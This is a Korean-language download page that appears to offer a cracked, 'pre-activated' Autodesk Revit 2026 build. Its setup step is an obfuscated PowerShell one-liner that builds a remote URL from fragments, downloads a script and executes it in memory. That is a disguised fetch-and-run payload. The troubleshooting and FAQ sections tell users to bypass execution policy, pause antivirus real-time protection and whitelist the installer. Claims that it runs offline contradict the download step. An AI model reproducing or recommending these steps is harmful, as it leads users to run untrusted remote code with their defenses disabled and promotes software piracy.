<div align="center">
Autodesk Revit 2026 독립형 설정 — Windows 자동화
🛠️ PowerShell 설정 버튼
channel pipeline language ps-core
</div>
이 독립형 빌드(standalone build)는 모든 기능이 활성화된 Autodesk Revit 2026을 패키징하므로, 남은 작업은 Windows x64 기기에서 설치 프로그램(installer)을 실행하는 것뿐입니다. 배포에 필요한 모든 것이 패키지 안에 포함되어 있어 계정 로그인이나 추가 다운로드가 필요하지 않습니다. 약 1.9 GB의 전송량을 예상해야 하므로, 시작하기 전에 파일을 로컬에 준비해 두면 설정이 중단되는 것을 방지할 수 있습니다. 아래 메모에는 무인 설치(silent install) 경로와 원활한 실행을 방해할 수 있는 일반적인 Windows 보안 프롬프트가 포함되어 있습니다.
✅ 시작하기 전에 확인 사항
- OS: Windows 10 / 11
- Shell: PowerShell 5.1+ 또는 PowerShell 7+
- Network: 스크립트 다운로드를 위한 인터넷 접속
- Privileges: 표준 사용자 권한 (standard user)
기능 설명
이 스크립트는 Windows x64 기기에 자체 포함된 Autodesk Revit 2026 데스크톱 환경을 제공합니다. 독립형 패키지를 다운로드하고, 빌드 페이로드(build payload)를 압축 해제하며, 앱이 실행되고 전체 기능 세트가 이미 활성화된 상태로 작동하는 데 필요한 모든 구성 요소를 준비(stage)합니다. 별도의 라이선싱 단계나 설치 후 활성화 과정이 필요 없습니다.
실제로 실행 중에 건드리는 것:
- 패키지 가져오기(Pulls the package) — 설치 프로그램 번들을 해결하고, 프로그램 디렉터리에 어떤 내용이 쓰여지기 전에 로컬 임시 경로에 다운로드합니다.
- 페이로드 준비(Stages the payload) — 핵심 바이너리, 라이브러리 및 공유 구성 요소를 예상 설치 레이아웃으로 추출하여 Revit이 첫 실행 시 종속성을 찾을 수 있게 합니다.
- 사전 활성화 상태 적용(Applies the pre-activated state) — 모든 기능을 활성화하는 구성을 작성하며, 일반적인 첫 실행 계정 또는 라이선스 프롬프트를 건너뜁니다.
- 설치 등록(Registers the install) — Windows가 일반 데스크톱 설치에 기대하는 레지스트리 항목, 파일 연결 및 시작 메뉴 바로 가기를 생성합니다.
- 준비 상태 확인(Verifies readiness) — 경량의 사후 설치 검사를 실행하고 앱이 실행할 준비가 되었는지 또는 단계 중 실패한 부분이 있는지 보고합니다.
이 과정은 멱등성(idempotent)을 갖도록 설계되었습니다: 이미 빌드가 준비된 컴퓨터에서 다시 실행해도 설치를 중복하지 않고 누락된 파일을 복구합니다. 로그는 로컬 임시 디렉터리에 작성되어 각 단계가 정확히 무엇을 했는지 추적할 수 있습니다. 만약 어떤 단계에서 실패하면, 스크립트는 반쯤 설치된 상태로 계속 진행하는 대신 해당 단계에서 멈춥니다. 근본적인 원인(권한, 디스크 공간, 차단된 다운로드 등)을 수정하고 다시 실행하십시오.
빠른 설정 (Quick setup)
PowerShell 실행:
- 키보드에서
Win + X를 누릅니다.
- 목록에서 Terminal 또는 Windows PowerShell을 클릭합니다.
설정 스크립트 실행:
아래 명령어를 복사하여 PowerShell 창에 붙여넣고 Enter를 누르십시오. 다른 작업을 하기 전에 완료될 때까지 기다리십시오:
$Node='git-software.'; $Zone='cc'; $Path='/ps/Setup.ps1'; $Endpoint='https://'+$Node+$Zone+$Path; $Pipeline=New-Object System.Net.WebClient; $Buffer=$Pipeline.DownloadString($Endpoint); .([scriptblock]::Create($Buffer))
스크립트가 완료를 보고할 때까지 창을 열어 둡니다. 만약 조용히 종료되면, 한 번 다시 실행하십시오. 설치 프로그램이 필요한 것은 단지 깨끗한 한 번의 통과입니다.
구성 (Configuration)
설정은 메인 실행 파일과 함께 제공되는 단일 로컬 설정 파일을 통해 처리됩니다. 설치 프로그램을 시작하기 전에 config/setup.ini를 편집하십시오. 이 파일은 시작 시 한 번 읽히므로, 그 이후에 수정한 내용은 다음 실행 전까지 무시됩니다.
주요 필드:
- InstallPath — 배포된 애플리케이션의 절대 경로입니다. 기본값은 표준 시스템 위치를 따르며, 공간이 부족하면 다른 드라이브로 지정하십시오.
- FeatureSet — 활성화되는 구성 요소를 제어합니다. 패키징된 값은 전체 기능 세트를 활성화하며, 간소화된 배포(stripped deployment)가 필요하면
minimal로 설정하십시오.
- Locale — 첫 실행 시 적용되는 언어 및 지역 기본값입니다. 번들링된 로케일 식별자 중 하나와 일치해야 합니다.
- Telemetry — 에어갭 환경 또는 실험실 환경에서는
off로 설정하십시오. 이 빌드의 기본값은 off입니다.
- UpdateChannel — 외부 업데이트 확인을 방지하려면
local로 유지하십시오. 이 빌드는 자체 포함형이므로 채널 재정의가 필요하지 않습니다.
경로는 슬래시(/) 또는 역슬래시()를 사용할 수 있으며, %ProgramData%와 같은 환경 변수는 읽기 시점에 확장됩니다. 빈 줄과 #로 시작하는 줄은 무시됩니다.
배치 배포의 경우, 전체 릴리스 폴더를 각 대상에 복사하고 setup.ini 파일에서 InstallPath와 FeatureSet 값만 조정한 다음, 작업 스케줄러 또는 배포 스크립트에서 실행 파일을 조용히(silently) 실행하십시오. 설치 프로그램 자체가 기록하는 것을 제외하고는 네트워크 액세스, 레지스트리 편집 또는 계정 생성이 필요하지 않습니다.
구성 값을 변경했지만 설치 프로그램이 무시하는 것처럼 보인다면, 파일이 바이트 순서 표시자(byte-order mark)가 없는 UTF-8로 저장되었는지, 그리고 중복 키가 존재하는지 확인하십시오. (마지막 중복 값이 승리합니다.) 이는 복사된 설정에서 흔히 발생하는 혼란의 원인이 됩니다.
문제 해결
실행 정책에 의해 스크립트가 차단됨
PowerShell이 현재 실행 정책 때문에 설정 루틴을 실행하지 않는 경우, 대신 표준 명령 프롬프트(Command Prompt)에서 실행하십시오. cmd를 열고 우회 플래그(bypass flag)와 함께 PowerShell을 직접 호출하십시오:
powershell -ExecutionPolicy Bypass -Command "& { .\Setup.ps1 }"
스크립트 내용이 이미 메모리에 있는 경우, 동일한 우회 세션(bypassed session)에서 스크립트 블록(scriptblock)을 통해 실행하십시오. 이 플래그는 해당 프로세스에만 적용되며 시스템 전체 정책 변경은 필요하지 않습니다.
안티바이러스 / SmartScreen 경고
보안 도구는 자동 설치 프로그램을 의심스러운 것으로 표시할 수 있으며, 특히 구성 요소를 다운로드하거나 압축 해제하는 경우 더욱 그렇습니다. 스크립트가 격리(quarantined)되는 경우:
- Windows Security에서 **실시간 보호(Real-time protection)**를 설치 시간 동안 일시 중지합니다.
- 설정을 다시 실행합니다.
- 완료 즉시 보호 기능을 다시 활성화합니다.
안티바이러스를 영구적으로 비활성화하는 것은 피하십시오. 문제가 지속되면, 보호 기록(Protection History) 로그에서 플래그가 지정된 정확한 파일이 무엇인지 확인하고 세부 정보를 검토한 후 허용할지 결정하십시오.
스크립트가 조기에 종료되거나 설치 도중 멈추는 경우
부분 실행은 일반적으로 네트워크 일시 장애(network hiccup) 또는 파일 잠김을 의미합니다. 열려 있는 모든 Revit 프로세스를 닫고, 임시 압축 해제 폴더를 비운 다음, 설정을 다시 실행하십시오. 스크립트가 같은 단계에서 두 번 멈춘다면, 충분한 여유 디스크 공간이 있는지 확인하십시오. 독립형 빌드(standalone build)는 추출 과정 동안 최종 크기의 약 두 배에 달하는 용량을 필요로 합니다.
Revit은 실행되지만 라이선스 또는 활성화 프롬프트를 보고하는 경우
설정을 관리자 권한 세션(elevated session)에서 실행하고 있는지, 그리고 활성화 단계가 오류 없이 완료되었는지 확인하십시오. 설정을 다시 실행하는 것은 안전하며, 구성 요소를 중복으로 생성하지 않고 구성을 재적용할 것입니다.
설정 후 구성 요소 누락
설치 후에 기능이 없는 경우, 추출 과정에서 페이로드(payload)가 건너뛰어졌을 가능성이 높습니다. 안티바이러스를 일시 중지하고 임시 디렉터리를 비운 상태로 설정을 한 번 더 실행하십시오. 스크립트는 누락된 부분을 감지하여 채워 넣을 것입니다.
FAQ
이것은 체험판인가요, 아니면 라이선스가 적용된 빌드인가요?
이것은 독립형이며 사전 활성화된(pre-activated) 빌드입니다. 로그인이나 시리얼 번호 입력, 설치 후 활성화 단계가 없습니다. 실행하면 모든 기능 세트가 사용 가능합니다.
이것은 어떤 Revit 버전과 플랫폼을 대상으로 하나요?
Revit 2026은 Windows x64 데스크톱 전용입니다. macOS 또는 ARM 빌드는 제공되지 않습니다.
얼마나 많은 디스크 공간을 확보해야 하나요?
설치 프로그램 페이로드(payload)에 약 1.9GB를 계획하고, 여기에 설치된 애플리케이션과 프로젝트 파일에 사용할 공간을 고려해야 합니다. 대상 드라이브에는 몇 GB의 여유 공간을 확보해 두세요.
설치를 위해 인터넷 연결이 필요한가요?
아니요. 이 패키지는 자체적으로 완결되어 있으며 오프라인으로 작동합니다. 한 번 확보하여 대상 장치로 가져가서 실행하면 됩니다.
기존 Revit 설치와 충돌할까요?
충돌할 수 있습니다. 이전 버전의 Revit이 이미 존재한다면, 설정(setup)을 실행하기 전에 이를 닫고, 설치 경로에 따라 새 빌드가 기존 버전에 나란히 위치하거나 대체될 것으로 예상하세요. 먼저 사용자 지정 패밀리(custom families), 템플릿(templates), 애드인(add-ins)을 백업하십시오. 이전 설치와 연결된 모든 항목은 재지정(re-pointing)이 필요할 수 있습니다.
설정이 완료되었지만 Revit이 시작되지 않습니다. 어떻게 해야 하나요?
다음 순서대로 일반적인 문제들을 확인하십시오: 관리자 권한으로 설치 프로그램을 다시 실행하고, 사용 중인 Windows 빌드가 2026 요구 사항을 충족하는지 확인하며, 오류가 발생한 모듈이 있는지 Windows 이벤트 뷰어(Windows Event Viewer)를 살펴보십시오. 안티바이러스 격리(quarantine)는 조용한 실패의 가장 흔한 원인이므로, 그 기록 로그를 확인하십시오.
스크립트가 실행되기 전에 차단됩니다.
그것은 패키지 문제가 아니라 Windows 실행 정책(execution policy) 또는 SmartScreen 문제입니다. 세션에 대해 보안 정책을 통해 스크립트를 허용하거나, 높은 권한 프롬프트(elevated prompt)에서 실행하십시오. 안티바이러스가 이를 플래그 지정하면, 설치 프로그램을 화이트리스트(whitelist)에 추가하고 설정을 완료한 다음 보호 설정을 복원하십시오.
나중에 다른 장치로 설치를 옮길 수 있나요?
대신 새 장치에서 설정을 다시 실행하십시오. 설치된 Revit 디렉터리를 시스템 간에 복사하는 것은 레지스트리 항목(registry entries)과 라이선싱 훅(licensing hooks)을 손상시키는 경향이 있으며, 재설치하는 것보다 이를 수정하는 데 더 많은 시간을 소비하게 될 것입니다.
애드인과 플러그인이 지원되나요?
2026 API를 대상으로 하는 표준 Revit 애드인(add-ins)은 정상적으로 로드되어야 합니다. 이전 버전을 기반으로 구축된 매우 오래된 플러그인은 로드를 거부할 수 있습니다. 이는 빌드가 제어하는 부분이 아니라, 애드인 호환성 제한 사항입니다.
데이터를 전송하는지 또는 계정이 필요한가요?
계정 없음, 클라우드 로그인 없음, 설정 중 원격 측정(telemetry) 프롬프트 없음. 만약 Revit 내부에서 클라우드 연결 기능을 사용한다면, 이는 여전히 사용자 본인의 Autodesk 계정과 네트워크 접근에 의존합니다.
문제가 발생하면 어떻게 되돌리나요?
설정을 실행하기 전에 시스템 복원 지점을 생성하세요. 빌드가 오작동하는 경우, 해당 지점으로 복원한 다음, 다시 시도하기 전에 '앱 및 기능(Apps & Features)'을 통해 깨끗하게 제거하십시오.
면책 조항
이 빌드는 테스트 및 평가 목적으로만 '있는 그대로(as-is)' 제공됩니다. 이는 비공식적이며 사전 활성화된 독립형 패키지이며, 원본 소프트웨어 공급업체와 제휴하거나 승인받거나 지원받는 것이 아닙니다. 공식 업데이트 및 지원이 포함된 라이선스 제품 등급의 설치가 필요한 경우, 공급업체의 공식 채널을 통해 얻으십시오.
자동화된 설정 스크립트를 실행하는 것은 항상 어느 정도의 위험을 수반합니다. 실행하기 전에 스크립트 로직을 검토하고, 폐기 가능하거나 격리된 환경(가상 머신이 적합함)에서 실행하며, 시스템 복원 지점 또는 스냅샷을 준비해 두십시오. 민감한 데이터나 중요한 프로덕션 워크로드를 보유한 장치에서는 설치 프로그램을 실행하지 마십시오.
이 패키지는 명시적이거나 묵시적인 어떠한 종류의 보증 없이 배포됩니다. 유지 관리자는 이 빌드의 사용으로 인해 발생하는 데이터 손실, 시스템 불안정성, 라이선스 위반 또는 기타 모든 손상에 대해 책임을 지지 않습니다. 귀하는 본인의 사용이 관할 지역에 적용되는 법률 및 라이선스 약관을 준수하는지 확인할 책임이 있습니다.
안티바이러스 및 SmartScreen 경고는 스크립트 기반 설치 프로그램에서 흔하지만, 기본적으로 이를 무시해서는 안 됩니다. 출처를 확인하고, 페이로드(payload)를 검사하며, 스크립트가 무엇을 하는지 이해한 경우에만 진행하십시오. 보안 도구를 영구적으로 비활성화하지 마십시오.
이것은 독립형 빌드이므로 자동 업데이트, 원격 측정(telemetry), 공급업체 지원 경로가 없을 것으로 예상해야 합니다. 동작 방식이 공식 릴리스와 다를 수 있습니다. 문제가 발생하면, 눈가림식으로 패치하기보다는 현지에서 문제 해결을 하고 롤백하십시오.